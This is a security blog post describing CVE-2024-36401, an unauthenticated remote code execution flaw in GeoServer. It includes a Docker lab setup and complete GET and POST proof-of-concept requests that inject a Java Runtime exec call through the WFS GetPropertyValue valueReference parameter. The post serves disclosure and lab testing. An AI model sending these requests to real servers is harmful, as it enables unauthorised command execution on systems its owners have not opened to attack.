Cyber security

CVE-2024-36401 : GeoServer Unauthenticated Remote Code Execution In Evaluating Property Name Expressions

GeoServer is an open-source software server written in Java that provides the ability to view, edit, and share geospatial data.

It is designed to be a flexible, efficient solution for distributing geospatial data from a variety of sources such as Geographic Information System (GIS) databases, web-based data, and personal datasets.

In the GeoServer version prior to 2.25.1, 2.24.3 and 2.23.5 of GeoServer, multiple OGC request parameters allow Remote Code Execution (RCE) by unauthenticated users through specially crafted input against a default GeoServer installation due to unsafely evaluating property names as XPath expressions.

Vulnerable Environment

Execute following command to start a GeoServer server 2.23.2:

docker compose up -d

After server is started, you will see the default page of GeoServer at http://your-ip:8080/geoserver.

Exploit

In the official vulnerability announcement, you can find the following content:

No public PoC is provided but this vulnerability has been confirmed to be exploitable through WFS GetFeature, WFS GetPropertyValue, WMS GetMap, WMS GetFeatureInfo, WMS GetLegendGraphic and WPS Execute requests.

For example, I gonna to use GetPropertyValue to execute evil xpath expression. refer to official document, the GET method POC is:

GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'touch%20/tmp/success1') HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0

The POST method POC is:

POST /geoserver/wfs HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 356

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='sf:archsites'/>
  <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'touch /tmp/success2')</wfs:valueReference>
</wfs:GetPropertyValue>

For more information click here.

Varshini

Varshini is a Cyber Security expert in Threat Analysis, Vulnerability Assessment, and Research. Passionate about staying ahead of emerging Threats and Technologies.

Recent Posts

rsync Command in Linux: Sync Files, Mirror, and Transfer Remotely

The rsync command in Linux synchronizes files and directories between two locations, locally or over SSH. Unlike scp,…

13 hours ago

patch Command in Linux: Apply Diff Files and Reverse Changes

The patch command in Linux applies a set of changes from a diff file to one or…

13 hours ago

basename Command in Linux: Strip Directory Paths and Suffixes

The basename command in Linux extracts the last component of a file path, removing the leading directory…

13 hours ago

timeout Command in Linux: Kill Long-Running Commands Safely

The timeout command in Linux runs a command with a time limit and terminates it when the limit is reached. It is part of GNU coreutils, available on virtually every Linux distribution. It is most useful for commands with no built-in timeout option, such as ping, curl, tcpdump, or a custom script that might hang indefinitely. How the timeout Command Works in Linux The syntax is: bashtimeout [OPTIONS] DURATION COMMAND [ARG]...…

14 hours ago

rmmod Command in Linux: Remove Kernel Modules and Blacklisting

The rmmod command in Linux removes a loaded module from the running kernel. Because the kernel has…

2 days ago

free Command in Linux: Check Memory Usage and Interpret Output

The free command in Linux gives you a quick summary of RAM and swap usage. It reads…

2 days ago